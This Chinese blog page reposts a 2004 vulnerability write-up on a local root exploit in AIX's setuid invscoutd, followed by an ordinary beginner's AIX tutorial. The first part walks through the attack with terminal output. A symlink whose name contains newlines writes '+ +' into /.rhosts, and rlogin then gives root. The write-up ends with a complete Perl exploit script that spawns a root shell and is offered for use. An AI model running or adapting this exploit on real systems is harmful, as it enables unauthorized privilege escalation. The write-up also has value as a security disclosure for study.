本站首页    管理页面    写新日志    退出


«September 2025»
123456
78910111213
14151617181920
21222324252627
282930


公告

数据仓库&数据挖掘

  对某一件事需要坚持方能真正完成这件事

            薛 峰  

           2009.02.03


我的分类(专题)

日志更新

最新评论

留言板

链接

Blog信息
blog名称:数据仓库与数据挖掘
日志总数:85
评论数量:14
留言数量:0
访问次数:723346
建立时间:2005年3月17日




[综合]AIX捉虫记之__invscoutd
文章收藏,  网上资源

薛 峰 发表于 2005/12/31 11:06:00

   推荐原创  Foxmail 5远程缓冲区溢出漏洞
国内网络安全风险评估市场与技术操作
SMB的NTLM认证过程与NTLM挑战的编程实现
WINDOWS NT/2000 密码到散列的实现算法
一种新的File Stream Overflows(FSO)
AIX捉虫记之__invscoutd
创建时间:2004-06-04
文章属性:原创
文章提交:watercloud (watercloud_at_xfocus.org)

AIX捉虫记
                              
                              之invscoutd





本文是考查AIX安全性时的一小段笔记(其实就是屏幕copy),
整理了一下加了点注释,和有兴趣的朋友分享 :)

[ 文中涉及到我发现的一个AIX4.x & 5L上的漏洞,可以使普通用户获得root权限,现在IBM好像还没有补丁,望大家善用之 ]


时间:2003-5-3日
天气:晴,万里无云的天空飘着几朵小小的白云

今天心情很好,前两天捉AIX的安全BUG很有收获,栈堆溢出、堆溢出、格式串、PATH欺骗执行命令
等都有了,今天继续……

平台信息:
-bash-2.05b$ oslevel
5.1.0.0
-bash-2.05b$ oslevel -r
5100-01


按八字排列今天应该考查invscoutd命令了
-bash-2.05b$ ls -l /usr/sbin/invscoutd
-r-sr-xr-x   1 root     system       217868 Aug 03 2001  /usr/sbin/invscoutd
  
   |
   +------考查理由? 需要么?谁叫他带了这个s位!


首先了解一下这个命令是哪个道上混的~
-bash-2.05b$man invscoutd          
…………
The invscoutd command implements a permanent Inventory Scout server daemon on
one machine in a user's local network. The usual client is a Java applet running
in the user's Web browser, which was downloaded from a central Inventory Scout
CGI application.
…………

赖着性子看完,瞌睡ing ...

再来看看这个命令的长相:
-bash-2.05b$ invscoutd          
invscoutd: Missing log file name.
Inventory Scout Daemon 2.0.2.  @@@ CAT VERSION @@@
USAGE: invscoutd [options] logfile                           <-- 还写日志文件的说。
logfile  Append status and err msgs.  '-' means write to stderr.
-o       Overwrite preexisting log file instead of append.  <-- 还可以覆盖已有文件的说~
-pN      Change port number to N from default 808.          <-- 默认监听在808端口
-bN      Change read buffer size to N from default 1024.
-dN      Change max logic db file size to N from default 50000.
-tN      Change timeout period to N seconds from default 30 seconds.
-vN      Change verbosity level to N from default 18,  <--支持交互级别,级别越高记录信息应该越详细
          25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.

依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关,
就先考查一下他的这个日志文件吧 ~~~


-bash-2.05b$ ls -l /tmp/bb
ls: 0653-341 The file /tmp/bb does not exist.

-bash-2.05b$ invscoutd /tmp/bb    
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17028
  flog=/tmp/bb
-bash-2.05b$ ls -l /tmp/bb
-rw-r--r--   1 root     staff           270 May 03 03:54 /tmp/bb

哇噻~~,权限果然有问题!!日志文件是root所有的说!!
睡意全无,立刻就清醒了!


有点不敢相信自己的眼睛,漏洞有这么好找吗??!!赶紧敲个id确认一下,不会是自己本来就是root登陆的
-bash-2.05b$ id
uid=203(cloud) gid=1(staff)

看来没错,是个漏洞,那我能利用这个漏洞做什么呢??
想想……

至少可以把系统重要配置文件破坏掉吧,哈哈……

再想想对于不存在的重要文件如/.rhosts文件(其实暂时也就想到这么一个文件),
我们可以用这个漏洞创建这个文件,要是之前执行一次
umask 000
创建的文件我们就有修改权限了 ^_^

这样我们就可以任意改写文件内容了,如:/.rhosts中加一行
+ +

可惜r系列服务使用.rhosts时会对文件属性进行检查:
如果文件不属于对应用户,或文件权限 除所有者外其他用户或同组用户有写权限均验证失败!

看来通过创建一个我们可写的/.rhosts文件来获得root权限是行不通了~~

我们覆盖重要文件如/etc/passwd,并不能改变文件权限~~

回头再一琢磨,我们不就是要想控制写入文件的内容吗?不能通过直接获得文件写权限自由写内容,
那就间接点,要是日志文件写入内容我们可以控制那不也能通过修改
/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件
把自己变为root了吗?



赶紧来看看日志文件里写了什么内容:
-bash-2.05b$ cat /tmp/bb
2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17028
  flog=/tmp/bb

里面好像就flog=/tmp/bb和输入有关。

再试试,看这个问题能不能重现.

-bash-2.05b$ invscoutd ./aa
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968056.

看来还得先杀掉老的进程才能再试。

-bash-2.05b$ ps -ef |grep invs
   cloud 15526     1   0 04:36:25  pts/0  0:00 invscoutd ./aa
   cloud 16068 16836   1 04:37:50  pts/0  0:00 grep invs
-bash-2.05b$ kill -9 15526

看看刚才出错记录到log文件了没?
-bash-2.05b$ ls -l ./aa
ls: 0653-341 The file ./aa does not exist.

没有的说。


我再试试,我非要重现一次才放心.
-bash-2.05b$ invscoutd ./aa
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=15526
  flog=./aa

-bash-2.05b$ ls -l ./aa
ls: 0653-341 The file ./aa does not exist.
咦,为什么没有记进来?难道文件名还必须以/打头?,先不管了,就写到/tmp下吧,再试试。

这次学乖了,先杀掉进程。
-bash-2.05b$ ps -ef |grep invsc
   cloud 14194 15338   3 03:55:29  pts/0  0:00 grep invsc
   cloud 17028     1   0 03:54:37  pts/0  0:00 invscoutd ./aa
-bash-2.05b$ kill -9 17028

…………

经测试,果然能重现,放心了~~



想了想,要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权,
都必须要能完整的控制一行写入文件的内容,日志中能控制的是:
  flog=输入文件名
部分,那面文件名中带换行符就可以控制一行的内容了,如:
aaaa\n完整的一行\naaaa这种形似的文件名。
想了就做.


但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数,
刚好以前学的perl派上了用场 ^_*
用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd",
看看能不能产生一个单独的一行记录内容
+ +

-bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=16282
  flog=/tmp/bbbbb
+ +
ddd
-bash-2.05b$ cat /tmp/bbbbb*
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=16282
  flog=/tmp/bbbbb
+ +
ddd

嘿嘿,可以的说!!

-bash-2.05b$ ls -l /tmp/bbbbb*
-rw-r--r--   1 root     staff           602 May 03 03:59 /tmp/bbbbb
+ +
ddd

那我们如何写"\n+ +\n"内容到/.rhosts呢?


想想……

再想想……

呵呵,我想到了,你想到了吗?

再给你5分钟,好好想想~~





如果直接执行invscoutd /.rhosts
肯定不行,里面不会有我们期望的
+ +
行。

如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'
向log文件写入
+ +
成功,

但写入的文件是"/tmp/bbbbb\n+ +\nddd",而我们现在期望是写到/.rhosts文件,

再想想…………

归纳一下,问题核心是想把A文件名写入B文件中,
Unix下的符号链接好像就是这个桥梁耶~

我们建立一个A -> B的符号连接不就行了!
ln -s B A
然后
invscoutd A
应该就成了。


开始行动:

-bash-2.05b$ ls -l /.rhosts
ls: 0653-341 The file /.rhosts does not exist.

建立A -> B的符号链接:
-bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'
这里B是"/.rhosts"
A是"/tmp/cc\n+ +\ndd"

-bash-2.05b$ ls -l /tmp/cc*
lrwxrwxrwx   1 cloud    staff             8 May 03 04:02 /tmp/cc
+ +
dd -> /.rhosts

来,执行之

-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968072.
-bash-2.05b$ ps -ef |grep invsc
   cloud 16282     1   0 03:59:27      -  0:00 invscoutd /tmp/bbbbb?+ +?ddd
   cloud 17146 15338   1 04:03:40  pts/0  0:00 grep invsc
-bash-2.05b$ kill -9 16282
-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17150
  flog=/tmp/cc
+ +
dd

看看文件生成了没有:
-bash-2.05b$ ls -l /.rhosts
-rw-r--r--   1 root     staff           598 May 03 04:03 /.rhosts

ok,来继续看看内容:

-bash-2.05b$ cat /.rhosts
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17150
  flog=/tmp/cc
+ +
dd


呵呵+ +写进去了!!!

来,用root用户 rlogin localhost登陆系统,这样就能取得root权限了:

-bash-2.05b$ rlogin -l root localhost
usage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]

faint ! 一高兴起来就连命令格式都给忘了 :(

再来:

-bash-2.05b$ rlogin localhost -l root
*******************************************************************************
*                                                                             *
*                                                                             *
*  Welcome to AIX Version 5.1!                                                *
*                                                                             *
*                                                                             *
*  Please see the README file in /usr/lpp/bos for information pertinent to    *
*  this release of the AIX Operating System.                                  *
*                                                                             *
*                                                                             *
*******************************************************************************
…………

-bash-2.05b#        <--好爽的特权"#"提示附耶!
-bash-2.05b# id
uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)


哈哈哈~~搞定啦~~偶麻雀变root啦~~
学了这么多年的Unix知识终于没白学呀~~
热泪盈框ing ……


继续感动ing……



◎!#◎%¥#%,还在陶醉~~! ! !


好啦~好啦~自恋狂!该干活啦~~


简单清理战场~
-bash-2.05b# rm /.rhosts
-bash-2.05b# rm /tmp/bb* /tmp/cc*
-bash-2.05b# ps -ef |grep invsc
   cloud 14306 15338   1 04:05:51  pts/0  0:00 grep invsc
   cloud 17150     1   0 04:03:48      -  0:00 invscoutd /tmp/cc?+ +?dd
-bash-2.05b# kill -9 17150
-bash-2.05b#

























































还看呀?!已经拉下帷幕了,都是后台操作了!

^_^


























================================ 后记 ===============================
这个漏洞在Aix4.x上也存在,去年一个罗马IBM的工程师给我讲高版本的invscoutd
系统 没有这个安全bug了,但最近我重装了一个5.1 update到2004-5月出的ML06后
还是有这个问题,比较奇怪 :-(

最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl

#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1.
#           Some high version of invscoutd is not affected.
# Author  : watercloud@nsfocus.com
#           watercloud@xfocus.org
# Date    : 2003-5-29
# Announce: use as your owner risk!

$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;

print "Exploit error on kill process invscoutd !!" ,exit 1
  if &killproc() == 0;

symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";

system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";

sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  @proc_lst=split;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;
}
#EOF

=============================================================




















Game Over !


祝大家6.1快乐 :)





                                                          watercloud


                                                           2004-6-1


















========================
原文发表在:
nsfocus第48期月刊:http://www.nsfocus.net/index.php?act=magazine&do=view&mid=2201
后贴于xfocus Unix hacking版: https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=37203
两个版本稍有不同。 Copyright © 1998-2003 XFOCUS Team. All Rights Reserved


阅读全文(5100) | 回复(0) | 编辑 | 精华 | 删除
 


AIX基础教程
文章收藏,  网上资源

薛 峰 发表于 2005/12/26 13:00:44

AIX基础教程

2003-01-29 06:27:02 阅读 38219 次 文章搜索 时事热评旧事重提谈股论金文艺体育争鸣文章谈天说地留学英语MCSE新手上路学习经验谈考题回忆轻松时刻微软技术讨论MCSD专题MCDBA专题Cisco新手上路Cisco技术讨论Cisco考题回忆CCIE专题网络方案设计Oracle新手上路数据备份OCP考题回忆Oracle技术讨论Oracle安装Application Server数据仓库Java技术SolarisSun安装JSP/ServletCIW认证NovellCheckpoint【游记发表】走走停停【MC王国】爱在江湖【cherry】天地一沙鸥【dnd】胡思乱想【GiGi】随心所欲【judy】岁月无双【may】寄语青春【newcomer】黑眼睛【qs】笑看人生【red_dust】红色泥土【yhm】秋天的童话【尺素】疏影集【高行健】灵山【红袖】扫叶轩【精华素】天使之约【蓝精灵】在水一方【猫米】猫言猫语【秒秒】迷离境界【奇奇】网女窈窕【特务】新月山谷【小水儿】爱之悟语【小小妖女】鬼迷心窍【伊可】旧爱新欢【一老中.SR】信马由缰【其它网友】精彩文章经典名著【徐风】冬天的老树硅谷传真梦说硅谷一起走过的日子活在硅谷W2K 安装指南网络技术文件管理Active Directory性能优化Windows XP专题故障处理Win2K 安全W2K使用技巧Windows NTDOSWindows ME实用软件邮件服务.net技术PHP/MySQL基础教程PHP/MySQL安装PHP网页处理PHP性能优化PHP网络功能PHP和数据库PHP图形ASP入门ASP和数据库ASP性能调节ASP技巧ASP程序制作Perl教程Perl编程HTMLJavascriptDreamweaverSSI多媒体制作XMLC/Visual C++编程基础Visual BasicC#Lotus NotesAIXLinuxUnix基础X WindowDB2Unix安全Unix网络ERP入门SAPMC动态WebLogicwebsphere【红袖添乱】沁茶舞金财工程PL/SQLsybaseCRM【张珊】无泪的忧伤【潘红艳】爱情棉被存储技术Windows 2003 近期热门文章 AIX基础教程
Aix基础知识总结
AIX管理经验谈
AIX常见问题问答
AIX系统日常管理
IBM专业认证经验总结
smit.log 与 smit.script 文件
AIX数据库启动和停止脚本
在AIX中设置中文环境
不能增加新用户,错误信息 3004-687
累计热门文章 Aix基础知识总结
AIX管理员常用命令
AIX管理经验谈
AIX基础教程
AIX使用技巧点滴
AIX常见问题问答
IBM专业认证经验总结
AIX系统日常管理
smit.log 与 smit.script 文件
不能增加新用户,错误信息 3004-687
AIX操作系统概述

一、AIX的性能和特点:

1、短小强干的内核和丰富的核外系统程序

AIX的设计者对系统的内核进行了精心设计,使之既简短又强干,可常驻内存。把凡是能从内核中分离出来的部分都从中分离出来,被分离出来的部分均按核外系统程序对待。

2、良好的用户界面

AIX向用户提供的界面功能齐备,使用方便。其中包括:
命令 是用户通过键盘和显示终端与系统进行交互会话的界面。
系统调用命令 是供用户在编写应用程序时使用的界面。
X-WINDOWS 是系统与用户之间的图形界面环境。

3、可装卸文件卷的文件系统

AIX的整个文件系统由一个基本文件系统和若干个可装卸的子文件系统构成,它允许用户根据需要把自己的文件卷装入并与基本文件系统连接起来,不需要时可以拆卸下来。AIX的这种特点既便于扩大文件存储空间,又有利于安全和保密。

4、文件、目录和各种I/O设备均作为文件统一处理

为了方便用户使用,AIX将普通数据文件、目录文件和I/O设备均以文件论之,三者使用相同的保护机制,在用户面前它们具有相同的语法和语义。

5、性能良好的网络环境

AIX为用户提供了良好的网络环境,主要包括:
一组网络通信协议,例如TCP/IP。
一组网络通信工具,例如mail, write,wall,talk等。
一组网络编程接口,例如TLI(Transport Layer Interface)和Socket等。

6、完善的安全机制

AIX具有完善的多级安全/保密机制,其中用户级机制的一些基本内容包括:
AIX将其用户分为普通用户和特权(超级)用户,它们各自享有不同的权限。
AIX为每一个用户都建立一个户头,称之为用户帐户。系统通过用户帐户来组织和记录各用户在系统中的活动,并将其限制在一定的活动范围之内。
AIX要求每一个用户必须用合法的用户名、正确的口令进行注册,并将每一个用户都归划到某一个特定的用户组中。
AIX要求每一个用户必须按照自己拥有的权限对文件/目录进行访问,不符合权限规定的访问不被系统所接受。

7、AIX用C语言编写,非常便于移植


二、AIX的基本结构

AIX采用了内核和核外程序有机结合的总体框架。从逻辑上看,整个系统可分为五层:硬件层、内核层、系统调用层、核外程序层和外壳层。

硬件层是AIX系统的基础。一方面它要为AIX提供必要的硬件支持,另一方面它又要在该系统的统一管理控制下有条不紊地工作。硬件层包括CPU、存储器、I/O设备和网络控制部件等。

内核层是AIX系统的重要部分,它负责管理、支配系统中的全部资源,其中包括硬件资源、软件资源和信息资源等。AIX内核层包括中断/陷入处理,存储管理、进程管理、I/O设备管理和文件管理等部分。

系统调用层是内核与核外程序的界面。核外程序通过它调用内核的子功能并为之服务。

核外程序层在内核支持下工作。用户可通过外壳层对其中的程序实施控制。它主要包括核外常规系统程序、各种实用软件和用户应用程序等。

外壳层是AIX系统直接面向用户的外层界面,它由Shell和X-window组成。Shell是AIX操作系统的命令语言/命令程序设计语言环境,在这个环境下用户既可使用单个Shell命令,也可编写Shell命令程序。X-window是AIX系统的图形用户界面。

UNIX的一些基本概念


一、帐户

1、普通用户帐户

普通用户帐户是最常用的用户帐户。它主要涉及这一些内容:
用户登录名
用户口令字
组标识符(GID)
用户登录目录(Home directory)
用户登录shell

2、超级用户帐户

超级用户帐户有其固定的登录名root。超级用户拥有系统中最高权力,可以读或编辑系统中的任意一个文件,可以执行系统中任意一个程序,所以使用超级用户帐户时必须谨慎,不能随意删除或修改系统中的重要文件或其它内容。为了确保安全,超级用户帐户的口令应该由专人负责保密,并每隔一段时间更改。


二、文件和目录

文件是UNIX系统的基本单位,共有三种不同类型的文件:
普通文件 普通文件就是通常所指的程序文件和文本文件,用来存储数据。它们既可是文本的,也可是二进制的,有的还可以执行。
目录文件 目录文件包括了用来存取其它文件的信息,简称为目录。
特殊文件 一个特殊文件定义了一个先进先出(FIFO)的管道或者一个物理设备,通常指磁带、磁盘等外部设备。

1、普通文件

普通文件是最常用的文件,它是以字节为单位的数据信息的集合,这些文件包括文本、程序码、程序数据及可执行的二进制代码文件。每个普通文件都具有下列基本属性:
一个文件名。
一个唯一的文件索引号,即i结点号。
以字节为单位的文件大小。
最近访问时间和修改时间。
一组存取权。
属主名。
属组名。

使用命令ls -li可看到一个普通文件所具有的属性:

1234 -rwxr-xr-x 2 user group 688 NOV 27 1999 /usr/calender
索引号 文件标志和存取权限 链接数 属主名 属组名 字节数 最后修改时间 文件名

普通文件还可分为两类:文本文件和二进制文件。

(1)、文本文件

文本文件是包含用户可读信息的文件。这些文件以ASCII码方式存储,可显示和打印。文本文件的行不能包括空字符(即码中的NULL),行的最大长度(包括换行符在内)也不能超过(LINE_MAX)所定义的字节数。不过文本文件中并不限制使用除空字符以外的控制字符或其它不可打印字符。

(2)、二进制文件

二进制文件是包含计算机可读信息的文件。二进制文件可以是可执行的文件,使系统根据其中的指令完成某项工作。命令和程序都是以可执行的而进制文件方式存储。二进制文件没有行的长度限制,也可包含空字符。

2、目录文件

目录文件是一种独特的文件类型,它只包含存取文件或其它目录时所需要的信息,通常简称为目录。目录中包含有目录项,每个目录项包含一个文件名/目录名和一个结点号。为了提高访问速度,并充分利用磁盘空间,文件中的数据存储在不同的位置。所以与一个文件相关的散列数据块的地址都包含在一个i结点中。i结点还包含有关文件的最近访问和修改时间、存取权限、链接数、文件属主及文件类型等信息。通过使用ln命令可以创建多个目录项,将不同的文件链接到同一个i结点上。
目录可以由操作系统、系统管理员、用户来定义。例如:

/ 根目录
/dev 包括有关输入输出设备的特殊文件
/etc 包括有关系统初始化和系统管理的文件
/home 包括系统用户的登录目录
/tmp 包括一些临时文件
/usr 包括lpp,include和其它的系统目录
/usr/bin 包括用户可执行的程序。

目录结构经常被比成一棵倒置的树,称为目录数。父目录下面是子目录。

3、特殊文件

特殊文件事实上是指管道以及和系统相连的一些物理设备,如硬盘、终端、磁带机等。在UNIX系统中,这些特殊文件通常存放在/dev目录中。
特殊文件分为三种类型:FIFO(先进先出)管道文件、块设备特殊文件和字符设备特殊文件。

FIFO管道文件是由进程创建的,并被该进程用来和另一个进程进行暂时的通信。当创建它的进程结束时,这些文件也不再存在。
块设备特殊文件则是指硬盘、软盘、磁带这样的设备,它们的记录数据是以512个字节的数据块为单位(512byts=1block)的,因此被称为块设备。(首个字母是b)
字符设备特殊文件则是指打印机、终端、显示器这类设备。这些设备进行数据传输时通常以字符为单位,因此被称为字符型设备。(首个字母是c)
例如:

brw-rw-rw 3 bin bin 2 7 NOV 19 14:00 /dev/fd0
c-w--w--w 2 bin bin 6 0 NOV 30 10:02 /dev/lp
设备特殊文件 链接数 属主名 属组名 主设备号 次设备号 最后修改时间 特殊文件名

其主设备号表示设备的类型,次设备号表示该设备是系统中的第几个这种设备。
几乎每个块设备都有一个字符型接口,对于这种块设备的字符型接口也有一个特殊文件与之相对应。通常是在块设备特殊文件的文件名前面加一个字母r。fd---rfd。

4、文件和目录的命名

(1)、文件名的长度最多为256个字符。

(2)、文件名要分大小写。

(3)、.表示当前工作目录;..表示当前工作目录的上一级目录;~和HOME表示用户的登录目录。

(4)、*通配若干个字符;?通配单个字符;[]通配括号中任何一个字符;!通配除其后字符外的任何字符。

5、文件和目录的存取权

读权r数字表示4。
写权w数字表示是2。
执行权x数字表示是1。


三、命令

1、命令、标志及参数之间要有空格。

2、两个或多个命令可以在同一行输入,中间以分号;隔开。

3、命令作业放在后台执行,在命令最后加上符号&。

4、列出以前输入的命令列表时用history。

5、重复命令历史中的命令时r。

6、替换命令历史中的命令字符串时用r 旧串=新串。

7、创建命令别名时用alias Name=String,例如$alias dir="/usr/bin/ls -alF"。


使用AIX系统


一、系统的启动

1、内部自检

2、加电自检

3、装入内核程序

4、软件配置及初始化


二、注册

在控制台上注册有一些选项和设置:

1、重新开始(Start over)按此按纽可删除原来的输入,于是可重新输入用户名,再次登录。

2、选项(Options)按此按纽可选择以下几项:
语言
会话
命令行注册 切换到命令行环境
重置注册屏幕 重新启动X-server
用户名和口令都输入正确后,将会进入系统进行工作。


三、更改口令

通过使用passwd命令,可以修改口令字。例如:
$passwd
Changing password for "User"
User's Old password:
User's New password:
Re-enter User's new password:
这样输入正确后,更改口令成功。下次注册时,须使用新的口令,才能注册成功。


四、目录管理

1、显示当前工作目录
pwd

2、显示目录内容
ls [-option] [name]

其参数的意义分别是:
-a:列出包含以 . 起始的隐藏档在内的所有文件名
-t:依照文件最后修改时间之顺序,依序列出文件名
-F:列出目前目录下之文件名及其类型。/结尾表示为目录名称,*结尾表 示为执行档,@结尾表示为 symblic link
-l:列出目录下所有文件之许可权、拥有者、文件大小、修改时间及名称
-lg:同上,并显示出文件之拥有者群组名称
-R:显示出目录下,以及其所有子目录之文件名

3、改变当前目录cd
转到登录时的工作目录
转到指定目录
转到当前目录的上一层目录

4、创建目录
mkdir Directory

5、删除目录
rmdir Directory

6、目录换名
mv SourceDirectory TargetDirectory

7、目录拷贝
cp SourceDirectory TargetDirectory


五、文件管理

1、文件拷贝
cp SourceFile TargetFile
cp SourceFile TargetDirectory

2、文件删除
rm File

3、文件链接
ln SourceFile TargetFile

4、文件移动/换名
mv SourceFile TargetFile or TargetDirectory

5、显示文件内容
more
pg
cat
head
tail

6、文件查找
find / -name .profile -print
find . -perm 0600 -print
find . -ctime 1 -print
find . -inum 2145 -print
find . -user abc -print


六、改变文件/目录属性

每一个文件或目录都有一个属主、一个组名和一组存取权限、访问时间等等。

1、改变文件或目录的最近访问时间
touch

2、改变文件或目录的属主
chown

3、改变文件或目录的属组
chgrp

4、改变文件或目录的存取权
chmod
chmod g+w File
chmod u+r File
chmod u=rwx File
chmod 755 File


七、DOS格式文件的使用

1、对磁盘进行DOS格式化
dosformat /dev/fd0

2、显示DOS文件的目录
dosdir

3、读DOS格式文件
dosread File1 File2

4、写DOS格式文件
doswrite File1 File2

5、删除DOS格式文件
dosdel File


八、进程控制

1、查询进程状态
ps
ps -a
ps -ef
ps -l
ps -u uid

2、终止进程的执行
kill 19160
kill -9 19160

3、对进程的控制
nohup
nice
sleep
wait

4、在指定的时间运行程序
at
batch
cron /usr/bin/crontab
crontab和/var/spool/cron/crontabs/


九、退出系统和关机
exit
Ctr + d
logout
shutdown [ -option ] [ +time message ]

当shutdown不带任何参数时,机器会向连在其上的所有终端发出一条关机信息,接着在一分钟后关闭所有终端,杀掉所有在系统上运行的进程,卸除所有文件系统,最后关闭系统。

你也可以在shutdown后加上一些参数,它们分别是:
-F: 快速关机,没有任何警告信息 (warning)
-r: 关机后重起


***********************AIX基础教程(中)**********************
文档编辑命令
在 AIX 中,常用的文档编辑命令是 vi。
下面,我们就来学习一下有关vi的使用决 窍。

在vi中,必须牢记它是有两个状态的 ---- 输入状态与命令状态。由输入状态切换 到命令状态,必须ESC键;而从命令状态转换到输入状态的命令比较多,有a, A,i,I,s,S,c,C,o和O等,

其次,必须掌握光标的基本移动方法。因为 AIX 的许多命令都是与光标所在的位 置相关的。请牢记,只有在命令状态下才能移动光标。你可以用方向键移动,也可 以用h,j,k,l来移动。其中,h 向左,j 向下,k向上,l向右。

第三,记住基本的插入、删除命令。


1、插入或附加正文

插入或附加正文都是向文件中加入新内容,在光标前插入字符的命令为 i ,在当前行的行头插入字符的命令为 I ,在光标后附加字符的命令为 a ,在当前行的行尾附 加字符的命令为 A ,在当前行后加入若干行新内容的命令为 o ,在当前行之前加 入若干行新内容的命令为 O ,这6个命令都将使 vi 由命令状态转换到插入状态,当 加入新内容后,必须按 ESC 键使 vi 由插入状态切换到命令状态。

2、删除正文

在 vi 中删除正文的命令比较多,可以按字符、单词和行等不同的单位进行删除。删除字符的命令将使 vi 继续处于命令状态。下面是各删除键的意义及删除结束后 光标的位置。

删除键意义删除后光标的位置
x 键删除光标所在的字符移动到本行中下一个字符
X 键删除光标前一个字符停留在原来的那个字符
D 键删除光标至行尾的字符在本行的行尾
dd 键删除光标所在行移动到下一行

3、查找或修改正文

/ 表达式
?表达式

前者是表示从当前光标位置开始向后查找,问号表示从当前光标位置开始向前查找

4、保存文本与退出 vi

: w保存文件内容

: w ! 强行保存文件内容

: q退出 vi 状态

: q !强制退出 vi 状态

: wq存盘并退出



Shell

Shell 是一个命令解释器,也是一种程序设计语言。它有Korn shell、 Bourne shell和 C shell等,AIX使用的是K shell。

1、初始化文件.profile(.dtprofile)和用户环境的订制

概括地将,.profile应完成确认设置用户终端类型、定义各种必要的shell变量、等等。下面是一个.profile的例子:
PATH=/usr/bin/ : /etc : /usr/sbin : /usr/lib : $HOME/bin : /usr/bin/X11 : /sbin : /bin
export PATH
export PS1='$PWD>'
export EDITOR=/usr/bin/vi
set -o vi
alias dir="ls -l"
在K shell中常见的环境变量有:
PATH 查询程序的路径变量(要分前后顺序) PATH=/usr/bin : /etc
PS1 shell的主提示符 PS1='$PWD>'
PS2 shell的第二提示符 PS2='>'
PWD 当前的工作目录
TMOUT 无命令输入退出的等待时间(秒) TMOUT=200
TERM 终端类型 TERM=ibm3151
HOME 用户的主目录 HOME=/home/user/
EDITOR 缺省的编辑器 EDITOR=/usr/bin/vi
用命令set可列出当前的变量。


文件系统和逻辑卷


一、AIX系统的数据存储方式

在AIX中,是这样来组织多个硬盘上的数据的:

物理卷PV 单独的硬盘 /dev/hdisk0 , /dev/hdisk1... 可细分为
物理分区PP
卷组VG 一个或多个硬盘组成。

从逻辑上讲,在一个卷组VG中,可定义若干个逻辑卷LV。它也可细分为逻辑分区LP。这些逻辑卷LV可用作分页空间(Paging Space)、系统日志(SystemLog),最多的是用作文件系统FileSystem的载体,这种文件系统称为日志文件系统(JournaledFileSystem)。

在系统初始安装时,一个名为rootvg的卷组被用来装载BOS。在rootvg卷组中,有一些逻辑分区被用来装载一些特定的系统数据,例如启动数据hd5、日志记录(JL)hd8、分页空间(PagingSpace)hd6等。这样rootvg总是被激活的。

在每一个卷组VG内的物理卷PV上,至少一个或多个很重要的数据区--卷组描述区(VGDA)。同一个卷组VG的各个物理卷PV上的VGDA内容,正常时应该是一致的。

